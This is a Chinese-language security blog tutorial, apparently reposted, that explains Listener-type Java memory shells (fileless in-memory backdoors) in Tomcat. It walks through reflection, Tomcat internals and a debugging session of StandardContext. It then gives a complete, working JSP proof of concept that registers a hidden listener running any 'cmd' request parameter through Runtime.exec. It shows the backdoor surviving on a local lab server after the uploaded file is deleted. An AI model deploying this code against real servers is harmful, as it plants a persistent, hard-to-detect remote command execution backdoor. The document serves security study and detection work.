JavaWeb之深入浅出Listener内存马

admin 2024年10月12日11:05:17评论19 views字数 12746阅读42分29秒阅读模式
声明:请勿利用本公众号文章内的相关技术、工具从事非法测试,如因此造成一切不良后果与文章作者及本公众号无关!

继续来学习java内存马系列,如果需要看javaweb前面内容,可以通过上面链接查看。

目录:
0x01,什么是Java内存马?
0x02,Java内存马的分类
0x03,背景知识预热
    -- java反射
    -- tomcat架构
0x04,Listener内存马分析
    -- Listener监听器的分类
    -- 源码跟踪调试
    -- POC编写
0x05,攻击测试

0x01,什么是Java内存马?

Java内存马是一种隐蔽性很强的后门,它将恶意代码直接注入到Java Web应用的内存中运行,而不落地到磁盘上,这种攻击方式使得传统的杀毒软件难以检测,大大增加了攻击的成功率。

内存马的特点:

  • 无文件化:恶意代码直接运行在内存中,不生成任何持久化的文件

  • 隐蔽性强:难以被传统的安全防护手段检测到
  • 持久性:一旦注入成功,可以长期存在,直到服务器重启或应用被卸载
  • 灵活多样:可以实现多种功能,如远程命令执行、数据窃取、篡改等

上一篇整合案例中写了一个任意文件上传漏洞,可以上传jsp木马,简单演示通过上传一个冰蝎木马并注入内存马:

1)上传木马

JavaWeb之深入浅出Listener内存马JavaWeb之深入浅出Listener内存马

2)客户端连接木马

// webshell urlhttp://localhost:9090/tianlong/images/shell.jsp

JavaWeb之深入浅出Listener内存马

3)注入内存马

// 内存马urlhttp://localhost:9090/tianlong/memshell

JavaWeb之深入浅出Listener内存马

/tianlong/memshell 因为是内存马,所以服务器本地是没有这个文件的。

冰蝎是别人写好的,即拿即用,我们秉着知其然还要知其所以然的态度,看看能不能自个儿分析分析内存马的原理,然后手动复现出来。

0x02,Java内存马的分类

根据注入方式和实现原理的不同,Java内存马大致可以分为以下几种类型:

1、servlet-api型内存马

  • 原理:利用Servlet API提供的动态注册功能,在运行时添加新的组件(Listener、Filter、Servlet),并将恶意代码注入其中。

  • 优点:实现相对简单,适用于各种Java Web容器。

  • 缺点:相对容易被检测,因为涉及到对Servlet容器API的直接调用。

2、字节码增强型内存马

  • 原理:利用Java Agent技术,在类加载阶段对字节码进行修改,注入恶意代码。

  • 优点:隐蔽性高,难以被检测。

  • 缺点:实现相对复杂,需要对Java字节码和Agent技术有深入了解。

3、其他类型

  • 基于Spring框架下的Controller、Intercepter内存马

  • 基于反序列化漏洞的内存马

  • 基于字节码注入的内存马

  • 等等

短期内应该只会介绍 servlet-api 型内存马,也就是通过反射技术动态注册Servlet、Filter、Listener三大组件的方式来实现内存马注入。

前面几节已经详细介绍了JavaWeb三大组件,因为是基础知识,建议没了解的可以先去瞅一眼 

Filter和Listener组件

0xNvyao,公众号:安全随笔JavaWeb之Filter、Listener组件

Servlet组件

0xNvyao,公众号:安全随笔JavaWeb之HTTP、Tomcat、Servlet

深入了解了这三个核心组件后,就能知道Java内存马是如何利用这三个组件的了。

Servlet型内存马:

  • 实现方式:动态注册一个新Servlet,将恶意代码注入到Servlet的service方法中。

  • 触发条件当客户端访问这个Servlet时,恶意代码就会被执行。


Filter型内存马:

  • 实现方式动态注册一个新Filter,将恶意代码注入到Filter的doFilter方法中。

  • 触发条件当请求经过这个Filter时,恶意代码就会被执行。


Listener型内存马:

  • 实现方式动态注册一个新Listener,将恶意代码注入到Listener的事件处理方法中。
  • 触发条件当发生特定的事件时,恶意代码就会被执行。

笔者看了不少javaweb内存马的文章,总结下来还是Listener内存马的原理比较简单,太菜了就以Listener内存马来展开分析吧~~

0x03,背景知识预热

java反射

反射允许对成员变量、成员方法和构造方案的信息进行编程访问。

通俗来说是java提供了一种在运行时检查类、操作类的能力。反射完全打破了java类的封装性,例如类的私有属性,理论上从类的封装性角度说是一种安全机制,但是通过反射可以暴力打破封装性来获取类的私有属性(暴力反射)。但是反射又是一个非常重要的技术,很多框架(例如Srping)都大量使用了反射机制来实现。

需要详细了解可以参考笔者之前的文章,里面的(五、简单介绍什么是java反射)部分,之前文章中都介绍过这里不赘述了。

一篇文章说清楚URLDNS链

0xNvyao,公众号:安全随笔一篇文章说清楚URLDNS链

通过一段代码来感受反射是干啥的:

1)Student实体类,包含三个私有属性、有参构造方法和一个有参成员方法

package com.nvyao.reflection;public class Student {    private String name;    private Integer age;    private String address;    public Student(String name, Integer age, String address) {        this.name = name;        this.age = age;        this.address = address;    }    public void study(String subject) {        System.out.println(this.name + "来自" + this.address + ",今年" +this.age+ "岁了!" + "他正在学习" + subject);    }}

2)main方法进行反射

package com.nvyao.reflection;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;public class ReflecDemo {    public static void main(String[] args) throws Exception {        // 1. 获取Student类的Class对象        Class<?> studentClass = Class.forName("com.nvyao.reflection.Student"); // 替换成你的包名和类名        // 2. 获取有参数构造方法        Constructor<?> constructor = studentClass.getConstructor(String.class, Integer.class, String.class);        // 3. 创建Student对象        Object studentObject = constructor.newInstance("张三", 20, "北京");        // 4. 获取study方法(有参数和无参数不同)        Method studyMethod = studentClass.getMethod("study", String.class);        studyMethod.setAccessible(true);        // 5. 调用study方法        studyMethod.invoke(studentObject, "Java");        // 6. 反射读取Private私有属性        Field usernameField = studentClass.getDeclaredField("name");        Field ageField = studentClass.getDeclaredField("age");        Field addressField = studentClass.getDeclaredField("address");        usernameField.setAccessible(true);        ageField.setAccessible(true);        addressField.setAccessible(true);        String usernameValue = (String) usernameField.get(studentObject);        Integer ageValue = (Integer) ageField.get(studentObject);        String addressValue = (String) addressField.get(studentObject);        System.out.println("暴力反射读取私有属性:" + usernameValue + "|" + ageValue + "|" + addressValue);    }}

打印看下效果:

JavaWeb之深入浅出Listener内存马

看到了吧,什么私有属性,在反射面前都是赤裸裸的~~

tomcat架构

在 Tomcat 中,有两个类StandardContext 和 StandardHostValve 非常重要,它们共同参与了 Tomcat 的请求处理流程。为了更好地理解它们之间的关系,我们先来简单回顾一下 Tomcat 的容器结构:

网上找了一张tomcat架构设计图,非常具象,通过这张图我们可以形象的知道Tomcat是如何处理请求的:

JavaWeb之深入浅出Listener内存马

  • Engine: 整个容器的根,代表一个 Catalina 虚拟机。

  • Host: 表示一个虚拟主机,可以配置多个虚拟主机。

  • Context: 代表一个 Web 应用程序,一个 Host 可以包含多个 Context。

  • Wrapper: 代表一个 Servlet,一个 Context 可以包含多个 Wrapper。

StandardContext 和 StandardHostValve 的关系是:

StandardContext:
  • 代表一个 Web 应用程序。
  • 包含了 Servlet、Filter、Listener 等组件的信息。
  • 负责管理 Web 应用程序的生命周期。

StandardHostValve:

  • 是 StandardHost 容器的默认 Valve。
  • 当请求到达一个 Host 时,StandardHostValve 会负责将请求分发到对应的 Context
  • 它会根据请求的 URL 路径来匹配相应的 Context。


等会后面debug调试 ServletRequestListener 监听器会用到这两个类。

0x04,Listener内存马分析

Listener监听器的分类

既然是介绍Listener内存马,当然先回顾下Listener监听器的概念。在前面介绍到JavaWeb的Listener组件的时候,我们介绍了Listener组件的分类,如下:

  • ServletContext 监听器:实现 ServletContextListener 接口,用于监听 Web 应用的启动和关闭事件,可以在 Web 应用启动和关闭时执行相应的操作。

  • HttpSession 监听器:实现 HttpSessionListener 接口,用于监听会话(Session)的创建和销毁事件,以及会话属性的变化等。可以用来统计在线人数对吧

  • ServletRequest 监听器:实现 ServletRequestListener 接口,用于监听请求(Request)的创建和销毁事件,以及请求属性的变化等。

JavaWeb之深入浅出Listener内存马

显然,ServletRequestListener是最适合用来制作Listener内存马的。因为ServletRequestListener 是用来对Request对象的创建、销毁进行监听的,也就是说当客户端访问任意资源时(ServletRequest对象被创建)都会触发ServletRequestListener#requestInitialized()方法执行。这样当创建了Listener的内存马,就比较容易触发执行。我们可以通过Listener来实现一个恶意后门,先感受一下ServletRequestListener的如何运作的:

package com.nvyao.web.listener;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpServletRequest;import java.io.IOException;@WebListener  //这个注解必须,代表该Listener生效,或者通过xml配置文件配置生效public class MyListener implements ServletRequestListener {    @Override    public void requestDestroyed(ServletRequestEvent sre) {    }    @Override    public void requestInitialized(ServletRequestEvent sre) {        HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();        String url = httpServletRequest.getRequestURL().toString();        System.out.println("MyListener监听器的requestInitialized方法被执行,url:" + url);        String cmd = httpServletRequest.getParameter("cmd");        System.out.println(cmd);        if (cmd != null) {            try {                Runtime.getRuntime().exec(cmd);            } catch (IOException e) {                e.printStackTrace();            } catch (NullPointerException n) {                n.printStackTrace();            }        }    }}

requestInitialized方法中一是打印当前请求的url,二是通过HttpServletRequest 对象接收cmd参数并执行。因此如果这个Listener生效每次请求都会执行requestInitialized 方法,也就会弹出计算器。

// 测试urlhttp://localhost:9090/tianlong/selectAllHeroesServlet?cmd=open%20-a%20Calculator

JavaWeb之深入浅出Listener内存马

写个demo我们就能很好的认识 ServletRequestListener 的是干啥的了。

源码跟踪调试

上面是通过手动写一个恶意Listener到项目中,接下来我们debug调试一下Listener的调用执行流程,走一下源码分析,因为我们不可能把恶意Listener类写到目标项目中的,所以我们分析的目的是为了后面攻击需要写POC代码。

1)在刚刚自定义MyListener类的requestInitialized方法打一个断点,并以debug模式重启项目

JavaWeb之深入浅出Listener内存马

项目重启后就有请求到服务端,所以程序会来到断点处

JavaWeb之深入浅出Listener内存马

2)在IDEA的Frames中,可以看到详细的调用栈帧的顺序关系

JavaWeb之深入浅出Listener内存马

如上图可以看到,由StandardContext#fireRequestInitEvent调用了自定义的MyListener监听器

3)续看StandardContext#fireRequestInitEvent方法

    @Override    public boolean fireRequestInitEvent(ServletRequest request) {        //获取所有的Listenders监听器数组        Object instances[] = getApplicationEventListeners();        if ((instances != null) && (instances.length > 0)) {            ServletRequestEvent event =                    new ServletRequestEvent(getServletContext(), request);            // 遍历所有的Listener数组            for (int i = 0; i < instances.length; i++) {                if (instances[i] == null)                    continue;                if (!(instances[i] instanceof ServletRequestListener))                    continue;                ServletRequestListener listener =                    (ServletRequestListener) instances[i];                try {                    // 触发Listener调用                    listener.requestInitialized(event);                } catch (Throwable t) {                    ExceptionUtils.handleThrowable(t);                    getLogger().error(sm.getString(                            "standardContext.requestListener.requestInit",                            instances[i].getClass().getName()), t);                    request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);                    return false;                }            }        }        return true;    }

StandardContext#fireRequestInitEvent方法的关键代码是:

  • Object instances[] = getApplicationEventListeners();

  • listener.requestInitialized(event)方法触发Listener;

4)继续跟进看StandardContext#getApplicationEventListeners

JavaWeb之深入浅出Listener内存马

可以看到Listener实际上是存储在StandardContext对象的applicationEventListenersList属性中的,applicationEventListenersList是StandardContext类对象的一个属性,通过IDEA查看该类的Structure结构,可以找到StandardContext类有个addApplicationEventListener方法,这是重点!!!

JavaWeb之深入浅出Listener内存马

总结一下就是StandardContext类的fireRequestInitEvent方法获取并遍历所有的Listener执行,然后StandardContext类也提供了addApplicationEventListener方法,这样的话如果通过反射是不是可以非法调用addApplicationEventListener来添加恶意Listener?

5)接下来就得分析如何去拿到StandardContext对象

继续分析debug调试中的栈帧,找到上一条StandardHostValue#invoke,进去继续分析:

JavaWeb之深入浅出Listener内存马

可以看到在StandardHostValue#invoke方法中,通过 Context context = request.getContext(); 获取StandardContext对象

JavaWeb之深入浅出Listener内存马

📒笔记📒:所以经过上面对StandardHostValue类和StandardContext类的分析,可以总结到,如果能拿到request对象,通过反射再拿到StandardContext对象,再通过反射来执行addApplicationEventListener方法注册一个Listener,就完成了攻击链。

但这里我们先思考一个问题:jsp中可以直接拿到request对象,为啥不直接通过request对象来获取Context对象,而是要通过反射来获取呢?答案是因为在 jsp 中通过 ServletContext servletContext = request.getServletContext(); 获取的是ServletContext类型,而不是我们需要的StandardContext 类型。

POC编写

1)反射部分

反射部分这几行代码是不好理解的,我也是花了大半天时间,再复习了反射的知识之后才弄明白,慢慢捋一捋。

<%    ServletContext servletContext = request.getServletContext();    Field applicationContextField = servletContext.getClass().getDeclaredField("context");    applicationContextField.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);    Field standardContextField = applicationContext.getClass().getDeclaredField("context");    standardContextField.setAccessible(true);    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);    MemShell_Listener memShell_Listener = new MemShell_Listener();    standardContext.addApplicationEventListener(memShell_Listener);%>

首先,通过System.out.println(request.getClass().getName()); 打印出request对象的类型,结果是 org.apache.catalina.connector.RequestFacade,然后去RequestFacade类中找到getServletContext()方法,可以看到返回值是ServletContext,因此我们第一行代码是:ServletContext servletContext = request.getServletContext(); 就是这么来的。

然后,因为ServletContext是接口,我们需要定位到具体是这个接口的哪个实现类,其实这个接口有两个实现类(ApplicationContextFacade和ApplicationContext),可以通过servletContext.getClass().getName()打印servletContext对象的类名,打印结果是:org.apache.catalina.core.ApplicationContextFacade,到这就定位了ServletContext对象的实际类类型。

然后,我们进入ApplicationContextFacade类,寻找context属性,可以看到属性类型是ApplicationContext类型并且是私有属性,得上反射大招了...

JavaWeb之深入浅出Listener内存马

// 尝试获取名为 "context" 的字段,并且暴力获取private私有属性Field contextField = servletContextClass.getDeclaredField("context");contextField.setAccessible(true);

这里反射得到的contextField 是ApplicationContext类型。然后通过ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); 拿到ApplicationContext值并类型强转。

最后我们在进入ApplicationContext看看,属性context是StandardContext类型,这个不正式我们需要的Context吗,然后同样的方法反射再获取一边,就拿到了StandardContext类型的Context:

Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

拿到后最后就可以调用StandardContext.addApplicationEventListener方法来注入恶意Listener类了。

是不是感觉挺乱的,当你按照这个过程捋一遍就明白了,为啥这里反射要这么玩。原因还是因为存在不同类型的Context造成的。至少我们看到了:

ServletContext、ApplicationContext、StandardContext

2)恶意Listener部分

恶意Listener代码就比较好理解了,主要是<%! 大家知道什么意思嘛 

<%!    public class MemShell_Listener implements ServletRequestListener {        public void requestInitialized(ServletRequestEvent sre) {            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();            String cmd = request.getParameter("cmd");            if (cmd != null) {                try {                    Runtime.getRuntime().exec(cmd);                } catch (IOException e) {                    e.printStackTrace();                } catch (NullPointerException n) {                    n.printStackTrace();                }            }        }        public void requestDestroyed(ServletRequestEvent sre) {        }    }%>

3)完整POC代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%!    public class MemShell_Listener implements ServletRequestListener {        public void requestInitialized(ServletRequestEvent sre) {            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();            String cmd = request.getParameter("cmd");            if (cmd != null) {                try {                    Runtime.getRuntime().exec(cmd);                } catch (IOException e) {                    e.printStackTrace();                } catch (NullPointerException n) {                    n.printStackTrace();                }            }        }        public void requestDestroyed(ServletRequestEvent sre) {        }    }%><%    System.out.println(request.getClass().getName());   //org.apache.catalina.connector.RequestFacade    ServletContext servletContext = request.getServletContext();    Field applicationContextField = servletContext.getClass().getDeclaredField("context");    applicationContextField.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);    Field standardContextField = applicationContext.getClass().getDeclaredField("context");    standardContextField.setAccessible(true);    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);    MemShell_Listener memShell_Listener = new MemShell_Listener();    standardContext.addApplicationEventListener(memShell_Listener);%>

0x05,攻击测试

1)先把之前写的MyListener监听器失效,将注解@WebListener注释即可:

JavaWeb之深入浅出Listener内存马

重启项目,如果访问 http://localhost:9090/tianlong/selectAllHeroesServlet?cmd=open%20-a%20Calculator 不再弹出计算器,证明MyListener监听器已经失效

JavaWeb之深入浅出Listener内存马

2)然后我们将刚刚的POC jsp文件上传:

JavaWeb之深入浅出Listener内存马

上传后jsp文件路径是http://localhost:9090/tianlong/images/memshelldemo.jsp

如果我们前面分析的没问题,一旦访问这个jsp,就会通过反射的方式将恶意Listener注入到服务端:

JavaWeb之深入浅出Listener内存马

访问没有报错,再去弹出计算器看看:

JavaWeb之深入浅出Listener内存马

成功弹出计算器,证明刚刚编写的反射以及恶意Listener已经注入成功,并且是注入到内存中,即使将刚刚上传的jsp文件删除也不影响执行。

3)先删除POC jsp文件,再测试内存马

JavaWeb之深入浅出Listener内存马

再一次弹出计算器:

JavaWeb之深入浅出Listener内存马

到此我们也就能够比较形象的理解什么是java内存马(Listener型,其他的类型:Servlet型、Filter型也差不多)。

最后,希望这篇文章可以让你们对内存马有个更深入的了解

原文始发于微信公众号(安全随笔):JavaWeb之深入浅出Listener内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月12日11:05:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaWeb之深入浅出Listener内存马https://cn-sec.com/archives/3254001.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息